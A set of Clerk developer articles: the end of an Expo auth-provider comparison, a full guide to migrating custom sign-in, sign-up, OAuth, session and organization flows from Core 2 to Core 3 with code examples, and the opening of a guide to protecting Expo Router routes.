As of April 2026, Clerk is the only major authentication provider that ships official, first-party native UI components for Expo. Firebase Auth (`@react-native-firebase/auth`) provides API-only access with no pre-built UI — developers must build every login screen from scratch. Supabase Auth offers `@supabase/auth-ui-react` for web React, but has no React Native equivalent. Auth0 relies on browser-based OAuth through `react-native-auth0`. Clerk's `@clerk/expo` package includes AuthView, UserButton, and UserProfileView as native components, plus a config plugin that handles both native Google and Apple Sign-In from a single package.

### Production readiness

Clerk's internal controls are [designed to meet SOC 2 Type II criteria](https://trust.clerk.io/soc2/), with formal attestation pending. The platform supports HIPAA (with BAA), GDPR, and CCPA compliance. Session tokens use a 60-second lifetime with proactive refresh, minimizing the window for token misuse.

The [free tier](/pricing) includes 50,000 monthly retained users per app, making it accessible for apps at any stage of development.

## Frequently asked questions

---

# From setActive to finalize: Migrating Custom Auth Flows to Clerk Core 3
URL: https://clerk.com/articles/from-setactive-to-finalize-migrating-custom-auth-flows-to-clerk-core-3.md
Date: 2026-04-09
Description: Migrate Clerk custom auth flows from Core 2 to Core 3 — replace setActive with finalize, swap beforeEmit for navigate, and use decorateUrl for environment-aware routing.

Clerk Core 3 changes how custom authentication flows handle session activation. The `setActive()` method is not removed — it still exists for switching sessions and organizations. What changed: authentication flows (sign-in and sign-up) now use `finalize()` instead of `setActive()`, and the `beforeEmit` callback is replaced by `navigate` everywhere.

This guide walks through every migration scenario with before/after code comparisons. Three rules cover the entire migration:

1. **Use `finalize()`** when a new sign-in or sign-up flow creates the session.
2. **Keep `setActive()`** for switching between existing sessions or changing the active organization.
3. **Replace `beforeEmit` with `navigate`** wherever `setActive()` remains.

| If your code does this...           | Use this in Core 3                        |
| ----------------------------------- | ----------------------------------------- |
| Completes a sign-in or sign-up flow | `signIn.finalize()` / `signUp.finalize()` |
| Switches between existing sessions  | `setActive({ session, navigate })`        |
| Changes the active organization     | `setActive({ organization, navigate })`   |
| Navigates after session change      | `navigate` callback with `decorateUrl`    |

This article covers custom flow migration only. If you use Clerk's prebuilt components (`<SignIn />`, `<SignUp />`), the upgrade CLI handles the mechanical renames automatically. You should still verify your configuration after running it.

## What setActive does in Clerk

In Clerk's session management model, `setActive()` serves three purposes:

1. **Setting the active session** after sign-in or sign-up
2. **Switching between sessions** in multi-session applications
3. **Changing the active organization** in multi-org apps

Core 3 introduces `decorateUrl` inside the `navigate` callback. It transforms a path into the correct URL for the current environment. The developer pattern is: call `decorateUrl('/path')`, check if the result starts with `http` — if it does, use `window.location.href` for a full-page navigation; otherwise, use your framework's client-side router.

### Core 2 setActive pattern

In Core 2, `setActive()` accepted a `beforeEmit` callback — a void side-effect with no access to session data or URL utilities:

```tsx
// Core 2 pattern
await setActive({
  session: signIn.createdSessionId,
  beforeEmit: () => {
    router.push('/dashboard')
  },
})
```

Developers commonly used `beforeEmit` to trigger navigation during session activation. The callback ran as part of the activation process but had no access to the session object or environment-aware URL helpers.

## What changed in Core 3

Three changes affect every custom authentication flow:

1. `beforeEmit` is replaced by `navigate`
2. A new `finalize()` method handles session activation for sign-in and sign-up flows
3. The `decorateUrl` utility provides environment-aware URL transformation

### beforeEmit is now navigate

The `navigate` callback receives `{ session, decorateUrl }` instead of running as a void function. Per the Clerk docs, `navigate` is called just before the session and/or organization is set — giving you a window to trigger navigation before the new auth state propagates to client-side observers like `useUser()`.

**Before (Core 2):**

```tsx
await setActive({
  session: id,
  beforeEmit: () => {
    router.push('/dashboard')
  },
})
```

**After (Core 3):**

```tsx
await setActive({
  session: id,
  navigate: async ({ session, decorateUrl }) => {
    const url = decorateUrl('/dashboard')
    if (url.startsWith('http')) {
      window.location.href = url
    } else {
      router.push(url)
    }
  },
})
```

### The decorateUrl utility

`decorateUrl` transforms a path into the correct URL for the current environment. It may return the original path unchanged, or it may return an absolute URL when additional processing is required. It is safe to always call — it only modifies the URL when necessary.

The developer pattern is straightforward: always call `decorateUrl(path)`, then check whether the result starts with `http`. If it does, use `window.location.href` for the redirect. Otherwise, use your framework's client-side router (e.g., `router.push()`).

Clerk logs a development warning if `decorateUrl` is not called when needed.

### finalize() for authentication flows

`finalize()` is a new method on the `signIn` and `signUp` objects. It replaces the Core 2 pattern of calling `setActive({ session: signIn.createdSessionId })` after a successful authentication flow.

```tsx
// Core 2: extract session ID manually
await setActive({ session: signIn.createdSessionId })

// Core 3: finalize handles it
await signIn.finalize({
  navigate: async ({ session, decorateUrl }) => {
    const url = decorateUrl('/dashboard')
    if (url.startsWith('http')) {
      window.location.href = url
    } else {
      router.push(url)
    }
  },
})
```

No need to extract `createdSessionId` — `finalize()` knows which session to activate.

**When to use each:**

- **`finalize()`** — after completing a sign-in or sign-up flow
- **`setActive()`** — for switching between existing sessions or changing the active organization

### New hook shapes

The `useSignIn()` and `useSignUp()` hooks return completely different shapes in Core 3:

| Core 2                            | Core 3                            |
| --------------------------------- | --------------------------------- |
| `{ isLoaded, signIn, setActive }` | `{ signIn, errors, fetchStatus }` |
| `{ isLoaded, signUp, setActive }` | `{ signUp, errors, fetchStatus }` |

- **No more `isLoaded` guard** — the hook manages loading state internally via `fetchStatus`
- **`errors` provides structured field-level errors** — access them via `errors.fields.identifier`, `errors.fields.password`, etc.
- **`setActive` is no longer on the hook** — for session/org switching, get it from `useClerk()` or `useOrganizationList()`
- **The underlying resources changed** — `SignInResource` became `SignInFutureResource`, `SignUpResource` became `SignUpFutureResource`

| Core 2 Method                                            | Core 3 Method                                   |
| -------------------------------------------------------- | ----------------------------------------------- |
| `signIn.create({ identifier, password })`                | `signIn.password({ emailAddress, password })`   |
| `signIn.prepareFirstFactor()` + `attemptFirstFactor()`   | `signIn.emailCode.sendCode()` + `verifyCode()`  |
| `signIn.prepareSecondFactor()` + `attemptSecondFactor()` | `signIn.mfa.verifyTOTP()` / `verifyPhoneCode()` |
| `signIn.authenticateWithRedirect()`                      | `signIn.sso()`                                  |
| `signUp.create({ emailAddress, password })`              | `signUp.password({ emailAddress, password })`   |
| `signUp.prepareEmailAddressVerification()`               | `signUp.verifications.sendEmailCode()`          |
| `signUp.attemptEmailAddressVerification()`               | `signUp.verifications.verifyEmailCode()`        |

## Using the Clerk upgrade CLI

Before making manual changes, run the upgrade CLI. It performs a suite of AST-level codemods that handle mechanical renames automatically:

```bash
npx @clerk/upgrade
```

Or with your preferred package manager:

```bash
pnpm dlx @clerk/upgrade
yarn dlx @clerk/upgrade
bunx @clerk/upgrade
```

### What the CLI automates

- **Package renames**: `@clerk/clerk-react` to `@clerk/react`
- **`beforeEmit` to `navigate`** property rename
- **Component consolidation**: `<SignedIn>`, `<SignedOut>`, `<Protect>` to `<Show>`
- **`appearance.layout`** to `appearance.options`
- **Hook imports**: moves `useSignIn`/`useSignUp` to `/legacy` subpath

Use `--dry-run` to preview changes without writing files. Other flags include `--dir` to target a specific directory and `--glob` to narrow file selection.

### What needs manual work

The CLI handles the rename, but not the rewrite. After running it, you still need to:

- Rewrite `navigate` callback bodies to use `{ session, decorateUrl }`
- Migrate from `setActive()` to `finalize()` for auth completion
- Add `needs_client_trust` status handling in sign-in flows
- Configure `taskUrls` on `<ClerkProvider>` for session tasks
- Migrate from legacy hook API to Core 3 hook API

## Migrating custom sign-in flows

This is the most common migration. The examples below use Next.js with `useRouter()` from `next/navigation`. The Clerk API is identical across React, Next.js, TanStack Start, and other frameworks — only the router import differs.

### Core 2: Custom sign-in with setActive

```tsx
'use client'

import { useState } from 'react'
import { useSignIn } from '@clerk/nextjs'
import { useRouter } from 'next/navigation'

export default function SignInPage() {
  const { isLoaded, signIn, setActive } = useSignIn()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')
  const [error, setError] = useState('')
  const router = useRouter()

  if (!isLoaded) return null

  const handleSubmit = async (e: React.FormEvent) => {
    e.preventDefault()
    setError('')

    try {
      const result = await signIn.create({
        identifier: email,
        password,
      })

      if (result.status === 'complete') {
        await setActive({
          session: result.createdSessionId,
          beforeEmit: () => {
            router.push('/dashboard')
          },
        })
      } else if (result.status === 'needs_second_factor') {
        // Handle MFA
      } else {
        console.error('Unexpected status:', result.status)
      }
    } catch (err: any) {
      setError(err.errors?.[0]?.message || 'Sign-in failed')
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <div>
        <label htmlFor="email">Email</label>
        <input id="email" type="email" value={email} onChange={(e) => setEmail(e.target.value)} />
      </div>
      <div>
        <label htmlFor="password">Password</label>
        <input
          id="password"
          type="password"
          value={password}
          onChange={(e) => setPassword(e.target.value)}
        />
      </div>
      {error && <p>{error}</p>}
      <button type="submit">Sign in</button>
    </form>
  )
}
```

### Core 3: Custom sign-in with finalize

```tsx
'use client'

import { useSignIn } from '@clerk/nextjs'
import { useRouter } from 'next/navigation'

export default function SignInPage() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const router = useRouter()

  const handleSubmit = async (formData: FormData) => {
    const emailAddress = formData.get('email') as string
    const password = formData.get('password') as string

    const { error } = await signIn.password({
      emailAddress,
      password,
    })
    if (error) {
      console.error(JSON.stringify(error, null, 2))
      return
    }

    if (signIn.status === 'complete') {
      await signIn.finalize({
        navigate: async ({ decorateUrl }) => {
          const url = decorateUrl('/dashboard')
          if (url.startsWith('http')) {
            window.location.href = url
          } else {
            router.push(url)
          }
        },
      })
    } else if (signIn.status === 'needs_second_factor') {
      // Handle MFA — see signIn.mfa.verifyTOTP() or signIn.mfa.verifyPhoneCode()
    } else if (signIn.status === 'needs_client_trust') {
      // Handle Client Trust verification — see the "Error handling" section
    } else {
      console.error('Sign-in attempt not complete:', signIn.status)
    }
  }

  return (
    <form action={handleSubmit}>
      <div>
        <label htmlFor="email">Email</label>
        <input id="email" name="email" type="email" />
        {errors?.fields?.identifier && <p>{errors.fields.identifier.message}</p>}
      </div>
      <div>
        <label htmlFor="password">Password</label>
        <input id="password" name="password" type="password" />
        {errors?.fields?.password && <p>{errors.fields.password.message}</p>}
      </div>
      <button type="submit" disabled={fetchStatus === 'fetching'}>
        Sign in
      </button>
    </form>
  )
}
```

### Key differences

The Core 3 sign-in migration changes several patterns:

- **No `isLoaded` guard** — `fetchStatus` replaces it. Use `fetchStatus === 'fetching'` to disable buttons during API calls.
- **No `createdSessionId` extraction** — `finalize()` handles session activation internally.
- **`signIn.password()` replaces `signIn.create()`** — methods are now action-specific instead of generic.
- **Error handling shifted from try/catch to return values** — `signIn.password()` returns `{ error }` for programmatic logic. The `errors` object from the hook provides field-level errors for rendering.
- **`needs_client_trust` is new** — this status appears when [Client Trust](/docs/guides/secure/client-trust) is enabled and the user signs in with a password from an unfamiliar device. Per current docs, it only applies to password-based auth — passwordless methods are unaffected. If the user has already enabled MFA, their existing MFA method takes precedence and returns `needs_second_factor` instead. When triggered, verify the user via `signIn.mfa.sendEmailCode()` and `signIn.mfa.verifyEmailCode({ code })`. Check the [Client Trust docs](/docs/guides/secure/client-trust) for the latest details on this flow.
- **Session tasks** — if your app uses session tasks, configure `taskUrls` on [`<ClerkProvider>`](/docs/nextjs/reference/components/clerk-provider) for automatic routing. See the [session tasks section](#handling-session-tasks-after-authentication) for details.

## Migrating custom sign-up flows

The sign-up migration follows the same pattern. Method names changed, and `finalize()` replaces `setActive()`.

### Core 2: Custom sign-up with setActive

```tsx
'use client'

import { useState } from 'react'
import { useSignUp } from '@clerk/nextjs'
import { useRouter } from 'next/navigation'

export default function SignUpPage() {
  const { isLoaded, signUp, setActive } = useSignUp()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')
  const [code, setCode] = useState('')
  const [pendingVerification, setPendingVerification] = useState(false)
  const router = useRouter()

  if (!isLoaded) return null

  const handleSubmit = async (e: React.FormEvent) => {
    e.preventDefault()

    try {
      await signUp.create({ emailAddress: email, password })
      await signUp.prepareEmailAddressVerification({ strategy: 'email_code' })
      setPendingVerification(true)
    } catch (err: any) {
      console.error(err.errors?.[0]?.message)
    }
  }

  const handleVerify = async (e: React.FormEvent) => {
    e.preventDefault()

    try {
      const result = await signUp.attemptEmailAddressVerification({ code })
      if (result.status === 'complete') {
        await setActive({ session: signUp.createdSessionId })
        router.push('/dashboard')
      }
    } catch (err: any) {
      console.error(err.errors?.[0]?.message)
    }
  }

  if (pendingVerification) {
    return (
      <form onSubmit={handleVerify}>
        <label htmlFor="code">Verification code</label>
        <input id="code" value={code} onChange={(e) => setCode(e.target.value)} />
        <button type="submit">Verify</button>
      </form>
    )
  }

  return (
    <form onSubmit={handleSubmit}>
      <div>
        <label htmlFor="email">Email</label>
        <input id="email" type="email" value={email} onChange={(e) => setEmail(e.target.value)} />
      </div>
      <div>
        <label htmlFor="password">Password</label>
        <input
          id="password"
          type="password"
          value={password}
          onChange={(e) => setPassword(e.target.value)}
        />
      </div>
      <button type="submit">Sign up</button>
    </form>
  )
}
```

### Core 3: Custom sign-up with finalize

```tsx
'use client'

import { useSignUp } from '@clerk/nextjs'
import { useRouter } from 'next/navigation'

export default function SignUpPage() {
  const { signUp, errors, fetchStatus } = useSignUp()
  const router = useRouter()

  const handleSubmit = async (formData: FormData) => {
    const emailAddress = formData.get('email') as string
    const password = formData.get('password') as string

    const { error } = await signUp.password({ emailAddress, password })
    if (error) {
      console.error(JSON.stringify(error, null, 2))
      return
    }

    await signUp.verifications.sendEmailCode()
  }

  const handleVerify = async (formData: FormData) => {
    const code = formData.get('code') as string

    const { error } = await signUp.verifications.verifyEmailCode({ code })
    if (error) {
      console.error(JSON.stringify(error, null, 2))
      return
    }

    if (signUp.status === 'complete') {
      await signUp.finalize({
        navigate: async ({ decorateUrl }) => {
          const url = decorateUrl('/dashboard')
          if (url.startsWith('http')) {
            window.location.href = url
          } else {
            router.push(url)
          }
        },
      })
    }
  }

  if (
    signUp.status === 'missing_requirements' &&
    signUp.unverifiedFields.includes('email_address') &&
    signUp.missingFields.length === 0
  ) {
    return (
      <form action={handleVerify}>
        <div>
          <label htmlFor="code">Verification code</label>
          <input id="code" name="code" type="text" />
          {errors?.fields?.code && <p>{errors.fields.code.message}</p>}
        </div>
        <button type="submit" disabled={fetchStatus === 'fetching'}>
          Verify
        </button>
      </form>
    )
  }

  return (
    <>
      <form action={handleSubmit}>
        <div>
          <label htmlFor="email">Email</label>
          <input id="email" name="email" type="email" />
          {errors?.fields?.emailAddress && <p>{errors.fields.emailAddress.message}</p>}
        </div>
        <div>
          <label htmlFor="password">Password</label>
          <input id="password" name="password" type="password" />
          {errors?.fields?.password && <p>{errors.fields.password.message}</p>}
        </div>
        <button type="submit" disabled={fetchStatus === 'fetching'}>
          Sign up
        </button>
      </form>
      <div id="clerk-captcha" />
    </>
  )
}
```

> \[!IMPORTANT]
> The `<div id="clerk-captcha" />` element is required in Core 3 sign-up forms. Without it, sign-up requests will fail. Place it in your JSX where you want the [CAPTCHA](/glossary/captcha) challenge to render.

Core 3 also introduces a `signUpIfMissing` option on `signIn.create()` for combined sign-in/sign-up flows that prevent account enumeration. See the [sign-in-or-up custom flow docs](/docs/guides/development/custom-flows/authentication/sign-in-or-up) for details.

## Migrating OAuth and SSO flows

OAuth callback pages changed substantially in Core 3. The `<AuthenticateWithRedirectCallback />` component is gone — you now build the callback page manually with `finalize()`.

> \[!IMPORTANT]
> Before using the OAuth examples below, ensure you have configured your social connection(s) in the [Clerk Dashboard](https://dashboard.clerk.com) and set the `NEXT_PUBLIC_CLERK_SIGN_IN_URL` environment variable in your `.env` file (e.g., `NEXT_PUBLIC_CLERK_SIGN_IN_URL=/sign-in`). Without this variable, your app may default to the Account Portal sign-in page instead of your custom flow. See the [OAuth connections custom flow docs](/docs/guides/development/custom-flows/authentication/oauth-connections) for full setup details.

### Core 2: OAuth with AuthenticateWithRedirectCallback

In Core 2, OAuth had two parts — an initiation page and a callback component:

**Initiation:**

```tsx
'use client'

import { useSignIn } from '@clerk/nextjs'

export default function OAuthSignIn() {
  const { signIn } = useSignIn()

  const signInWithGoogle = () => {
    signIn.authenticateWithRedirect({
      strategy: 'oauth_google',
      redirectUrl: '/sso-callback',
      redirectUrlComplete: '/dashboard',
    })
  }

  return <button onClick={signInWithGoogle}>Sign in with Google</button>
}
```

**Callback page:**

```tsx
import { AuthenticateWithRedirectCallback } from '@clerk/nextjs'

export default function SSOCallback() {
  return <AuthenticateWithRedirectCallback />
}
```

### Core 3: OAuth with sso() and finalize

Core 3 replaces `authenticateWithRedirect()` with `signIn.sso()` and requires a manual callback page:

**Initiation:**

```tsx
'use client'

import { OAuthStrategy } from '@clerk/shared/types'
import { useSignIn } from '@clerk/nextjs'

export default function OAuthSignIn() {
  const { signIn, errors } = useSignIn()

  const signInWith = async (strategy: OAuthStrategy) => {
    const { error } = await signIn.sso({
      strategy,
      redirectCallbackUrl: '/sso-callback',
      redirectUrl: '/sign-in/tasks',
    })
    if (error) {
      console.error(JSON.stringify(error, null, 2))
    }
  }

  return (
    <>
      <button onClick={() => signInWith('oauth_google')}>Sign in with Google</button>
      {errors && <p>{JSON.stringify(errors, null, 2)}</p>}
    </>
  )
}
```

Note the parameter rename: `redirectUrl` + `redirectUrlComplete` became `redirectCallbackUrl` + `redirectUrl`.

**Callback page:**

```tsx
'use client'

import { useClerk, useSignIn, useSignUp } from '@clerk/nextjs'
import { useRouter } from 'next/navigation'
import { useEffect, useRef } from 'react'

export default function SSOCallback() {
  const clerk = useClerk()
  const { signIn } = useSignIn()
  const { signUp } = useSignUp()
  const router = useRouter()
  const hasRun = useRef(false)

  const handleNavigate = async ({
    session,
    decorateUrl,
  }: {
    session: any
    decorateUrl: (url: string) => string
  }) => {
    if (session?.currentTask) {
      console.log(session?.currentTask)
      return
    }
    const url = decorateUrl('/')
    if (url.startsWith('http')) {
      window.location.href = url
    } else {
      router.push(url)
    }
  }

  useEffect(() => {
    ;(async () => {
      if (!clerk.loaded || hasRun.current) return
      hasRun.current = true

      // Happy path: sign-in completed by the OAuth provider
      if (signIn.status === 'complete') {
        await signIn.finalize({ navigate: handleNavigate })
        return
      }

      // Transfer: OAuth returned a sign-up, but user has an existing account
      if (signUp.isTransferable) {
        await signIn.create({ transfer: true })
        if (signIn.status === 'complete') {
          await signIn.finalize({ navigate: handleNavigate })
          return
        }
      }

      // Additional transfer scenarios exist — see Clerk's OAuth custom flows docs
      // for handling signIn.isTransferable, existingSession, and other edge cases

      router.push('/sign-in')
    })()
  }, [clerk, signIn, signUp])

  return (
    <div>
      <div id="clerk-captcha" />
    </div>
  )
}
```

The callback page handles multiple scenarios. The example above shows the happy path and one transfer case. See the [OAuth connections custom flow docs](/docs/guides/development/custom-flows/authentication/oauth-connections) for the full transfer matrix including `signIn.isTransferable`, `existingSession`, and `needs_second_factor` handling.

### Enterprise SSO

Enterprise [SSO](/glossary/single-sign-on-sso) uses the same `signIn.sso()` method with a strategy rename:

```tsx
// Core 2
signIn.authenticateWithRedirect({
  strategy: 'saml',
  // ...
})

// Core 3
signIn.sso({
  strategy: 'enterprise_sso',
  identifier: email, // Email domain determines the enterprise connection
  redirectCallbackUrl: '/sso-callback',
  redirectUrl: '/sign-in/tasks',
})
```

The related property rename is `user.samlAccounts` to `user.enterpriseAccounts`.

## Migrating multi-session applications

For session switching, `setActive()` remains the correct method — not `finalize()`. The key change is `client.activeSessions` renamed to `client.sessions`, and `beforeEmit` replaced by `navigate`.

```tsx
'use client'

import { useClerk } from '@clerk/nextjs'
import { useRouter } from 'next/navigation'

export default function SessionSwitcher() {
  const { client, setActive, signOut, session: currentSession } = useClerk()
  const router = useRouter()

  const switchSession = async (sessionId: string) => {
    await setActive({
      session: sessionId,
      navigate: async ({ decorateUrl }) => {
        const url = decorateUrl('/')
        if (url.startsWith('http')) {
          window.location.href = url
        } else {
          router.push(url)
        }
      },
    })
  }

  return (
    <div>
      <h2>Active sessions</h2>
      <ul>
        {client.sessions.map((session) => (
          <li key={session.id}>
            {session.user?.primaryEmailAddress?.emailAddress}
            {session.id === currentSession?.id ? (
              <span> (current)</span>
            ) : (
              <button onClick={() => switchSession(session.id)}>Switch</button>
            )}
          </li>
        ))}
      </ul>
      <button onClick={() => signOut(currentSession?.id)}>Sign out current</button>
      <button onClick={() => signOut()}>Sign out all</button>
    </div>
  )
}
```

Key changes from Core 2:

- `client.activeSessions` is now `client.sessions`
- `beforeEmit` is now `navigate` with `{ session, decorateUrl }`
- `setActive()` comes from `useClerk()`, not from `useSignIn()`

## Migrating organization switching

Organization switching uses `setActive({ organization })` — the same pattern as Core 2, but with the `navigate` callback replacing `beforeEmit`.

### Prebuilt component prop rename

If you use the `<OrganizationSwitcher>` component, one prop was renamed:

**Before (Core 2):**

```tsx
<OrganizationSwitcher afterSwitchOrganizationUrl="/dashboard" />
```

**After (Core 3):**

```tsx
<OrganizationSwitcher afterSelectOrganizationUrl="/dashboard" />
```

### Custom organization switcher

For custom switchers using `useOrganizationList()`:

```tsx
'use client'

import { useAuth, useOrganizationList } from '@clerk/nextjs'

export default function OrgSwitcher() {
  const { isLoaded, setActive, userMemberships } = useOrganizationList({
    userMemberships: { pageSize: 5, keepPreviousData: true },
  })
  const { orgId } = useAuth()

  if (!isLoaded) return <p>Loading...</p>

  return (
    <div>
      <h2>Organizations</h2>
      <ul>
        {userMemberships?.data?.map((mem) => (
          <li key={mem.id}>
            {mem.organization.name} — {mem.role}
            {orgId !== mem.organization.id && (
              <button onClick={() => setActive({ organization: mem.organization.id })}>
                Switch
              </button>
            )}
          </li>
        ))}
      </ul>
      <button
        disabled={!userMemberships?.hasPreviousPage}
        onClick={() => userMemberships?.fetchPrevious?.()}
      >
        Previous
      </button>
      <button
        disabled={!userMemberships?.hasNextPage}
        onClick={() => userMemberships?.fetchNext?.()}
      >
        Next
      </button>
    </div>
  )
}
```

The `navigate` callback is optional for organization switching when you don't need to redirect after the switch. When provided, it follows the same `{ session, decorateUrl }` pattern.

## Handling session tasks after authentication

Session tasks are a Core 3 concept — pending requirements users must complete after authentication (e.g., `choose-organization`, `reset-password`, `setup-mfa`). Sessions with pending tasks enter a `pending` state and are treated as signed-out by default.

### Recommended: Configure taskUrls

The simplest approach is configuring `taskUrls` on `<ClerkProvider>`. Clerk handles routing automatically — no manual `navigate` logic needed:

```tsx
<ClerkProvider
  taskUrls={{
    'choose-organization': '/tasks/choose-organization',
    'reset-password': '/tasks/reset-password',
    'setup-mfa': '/tasks/setup-mfa',
  }}
>
  {children}
</ClerkProvider>
```

Clerk provides prebuilt components for each task type: `<TaskSetupMFA />`, `<TaskResetPassword />`, and `<TaskChooseOrganization />`. Mount them at the corresponding routes.

When `taskUrls` is configured, it overrides the `navigate` callback behavior — Clerk redirects to the task page automatically. This is the recommended approach for most applications.

### When manual handling is needed

Only when building fully custom task UIs do you need to check `session?.currentTask` in the `navigate` callback and route based on `session.currentTask.key`. See the [session tasks custom flow docs](/docs/guides/development/custom-flows/authentication/session-tasks) for the full implementation pattern.

## Error handling and best practices

### New error pattern

Core 3 authentication methods return `{ error: ClerkError | null }` instead of throwing. Use the `errors` object from hooks for UI rendering and `error` from methods for programmatic logic:

```tsx
const { signIn, errors, fetchStatus } = useSignIn()

const handleSubmit = async (formData: FormData) => {
  const { error } = await signIn.password({
    emailAddress: formData.get('email') as string,
    password: formData.get('password') as string,
  })

  // Programmatic: check the method's return value
  if (error) {
    console.error(error.code, error.message)
    return
  }
}

// UI: render field-level errors from the hook
{
  errors?.fields?.identifier && <p>{errors.fields.identifier.message}</p>
}
{
  errors?.fields?.password && <p>{errors.fields.password.message}</p>
}
```

### Handle needs\_client\_trust

When [Client Trust](/docs/guides/secure/client-trust) is enabled and a user signs in from an unfamiliar device, `signIn.status` returns `needs_client_trust` instead of `complete`. Per the current Client Trust docs, this only applies to password-based authentication — passwordless methods (email links, OTPs, passkeys, OAuth) are unaffected. If the user has already enabled MFA, their existing MFA method takes precedence and the status will be `needs_second_factor` instead. Check the [Client Trust reference](/docs/guides/secure/client-trust) for the latest behavior details. Handle `needs_client_trust` by sending a verification code:

```tsx
if (signIn.status === 'needs_client_trust') {
  // Find the email code factor
  const emailCodeFactor = signIn.supportedSecondFactors?.find(
    (factor) => factor.strategy === 'email_code',
  )
  if (emailCodeFactor) {
    await signIn.mfa.sendEmailCode()
    // Show verification code input
  }
}
```

After the user enters the code:

```tsx
await signIn.mfa.verifyEmailCode({ code })

if (signIn.status === 'complete') {
  await signIn.finalize({
    navigate: async ({ decorateUrl }) => {
      const url = decorateUrl('/dashboard')
      if (url.startsWith('http')) {
        window.location.href = url
      } else {
        router.push(url)
      }
    },
  })
}
```

### Always use decorateUrl

Always wrap destination URLs with `decorateUrl` in the `navigate` callback. Clerk logs a development warning if it's not called when needed. Handle both return types:

- **Absolute URL** (starts with `http`) — use `window.location.href`
- **Relative path** — use your framework's client-side router

### Test in development first

Clerk's development instances support the same custom-flow APIs as production. Test your migrated flows in a development instance before deploying to catch configuration issues early.

## Migration checklist

1. Run `npx @clerk/upgrade` (or pnpm/yarn/bun equivalent)
2. Verify `beforeEmit` to `navigate` renames applied by the CLI
3. Identify `setActive()` calls that finish auth flows (sign-in/sign-up completion)
4. Convert those calls to `signIn.finalize()` / `signUp.finalize()`
5. Keep `setActive()` for session switching and organization switching
6. Rewrite `navigate` callback bodies to use `{ session, decorateUrl }`
7. Add `needs_client_trust` status handling in sign-in flows
8. Configure `taskUrls` on `<ClerkProvider>` for session tasks
9. Test in Clerk's development environment before deploying

## Quick reference: Core 2 vs. Core 3

### API changes

| Core 2                               | Core 3                            |
| ------------------------------------ | --------------------------------- |
| `beforeEmit`                         | `navigate`                        |
| `setActive()` after auth             | `finalize()`                      |
| `client.activeSessions`              | `client.sessions`                 |
| `afterSwitchOrganizationUrl`         | `afterSelectOrganizationUrl`      |
| `strategy: 'saml'`                   | `strategy: 'enterprise_sso'`      |
| `user.samlAccounts`                  | `user.enterpriseAccounts`         |
| `authenticateWithRedirect()`         | `sso()`                           |
| `<AuthenticateWithRedirectCallback>` | Manual callback with `finalize()` |

### Method mapping

| Core 2                                                   | Core 3                                          |
| -------------------------------------------------------- | ----------------------------------------------- |
| `signIn.create({ identifier, password })`                | `signIn.password({ emailAddress, password })`   |
| `signIn.prepareFirstFactor()` + `attemptFirstFactor()`   | `signIn.emailCode.sendCode()` + `verifyCode()`  |
| `signIn.prepareSecondFactor()` + `attemptSecondFactor()` | `signIn.mfa.verifyTOTP()` / `verifyPhoneCode()` |
| `signIn.authenticateWithRedirect()`                      | `signIn.sso()`                                  |
| `signUp.create({ emailAddress, password })`              | `signUp.password({ emailAddress, password })`   |
| `signUp.prepareEmailAddressVerification()`               | `signUp.verifications.sendEmailCode()`          |
| `signUp.attemptEmailAddressVerification()`               | `signUp.verifications.verifyEmailCode()`        |

> \[!NOTE]
> **Other Core 3 changes to verify**: `@clerk/clerk-react` renamed to `@clerk/react`. `<SignedIn>`/`<SignedOut>`/`<Protect>` consolidated into `<Show>`. `appearance.layout` renamed to `appearance.options`. `getToken()` now throws `ClerkOfflineError` when offline — wrap in try/catch, use `ClerkOfflineError.is(error)` from `@clerk/react/errors`. The [Core 3 Upgrade Guide](/docs/guides/development/upgrading/upgrade-guides/core-3) lists current runtime minimums (Node.js, Next.js, Expo, TanStack Start), and the [custom-flow docs](/docs/guides/development/custom-flows/authentication/email-password) list SDK minimums (`@clerk/react`, `@clerk/nextjs`, etc.). Check those pages for the most current version requirements.

## FAQ

---

# How to Protect Routes in Expo Router with Clerk
URL: https://clerk.com/articles/how-to-protect-routes-in-expo-router-with-clerk.md
Date: 2026-04-08
Description: Build secure mobile authentication in Expo Router apps with Clerk - covers route protection, role-based access control, deep linking, and avoiding common mobile navigation pitfalls.

To protect routes in Expo Router with Clerk, split your `app/` directory into `(auth)` and `(app)` route groups, wrap the root layout in `<ClerkProvider>` with Clerk's `tokenCache`, then add a layout-level guard in each group's `_layout.tsx` that checks `isSignedIn` from `useAuth()`. Use `<Redirect>` to send unauthenticated users to `/sign-in` and signed-in users away from auth screens. Always wait for `isLoaded === true` before redirecting to avoid the flash-of-wrong-screen problem. For role-based access, use Clerk's `has()` helper to check permissions before rendering protected content.

Expo SDK 53+ also offers `Stack.Protected`, a declarative alternative that automatically cleans up navigation history when a guard fails. This guide walks through both patterns while building a complete Expo Router app with Clerk [authentication](/docs/guides/how-clerk-works/overview), covering public and private routes, [role-based access control](/docs/guides/organizations/control-access/roles-and-permissions), feature-based [authorization](/docs/guides/secure/authorization-checks), deep linking, and the most common pitfalls that trip up mobile developers.

### What you'll build

A complete Expo Router application with:

- Sign-up and sign-in screens using Clerk's Core 3 API
- A protected dashboard and user profile
- An admin-only section with role-based access control
- Tab navigation with conditional route visibility

**Tech stack**: Expo SDK 53+, Expo Router v5+, `@clerk/expo` v3+, TypeScript

### Prerequisites

- React and React Native fundamentals
- Node.js 18+ (20 LTS recommended)
- An [Expo development environment](https://docs.expo.dev/get-started/set-up-your-environment/)
- A [Clerk account](/pricing) (free tier works)

> \[!NOTE]
> Expo SDK 55+ requires New Architecture (Legacy Architecture was removed). New Architecture has been the default since SDK 53.

## How Expo Router's file-based routing works

Expo Router maps files in the `app/` directory to navigation routes. Each file becomes a screen. Layout files (`_layout.tsx`) define the navigation structure for their directory and all child routes.

**Route groups** use parentheses to organize routes without affecting URLs. A file at `app/(app)/dashboard.tsx` produces the URL `/dashboard`, not `/(app)/dashboard`. This is the key feature that makes auth-based routing work: you can split your app into `(auth)` and `(app)` groups with different navigation rules.

```
app/
├── _layout.tsx              # Root layout: ClerkProvider + route guards
├── (auth)/
│   ├── _layout.tsx          # Stack navigator for auth screens
│   ├── sign-in.tsx          # Sign-in screen
│   └── sign-up.tsx          # Sign-up screen
└── (app)/
    ├── _layout.tsx          # Tab navigator with auth guard
    ├── index.tsx            # Dashboard (Home tab)
    ├── profile.tsx          # User profile tab
    └── admin/
        ├── _layout.tsx      # Role-based guard (admin only)
        └── index.tsx        # Admin dashboard
```

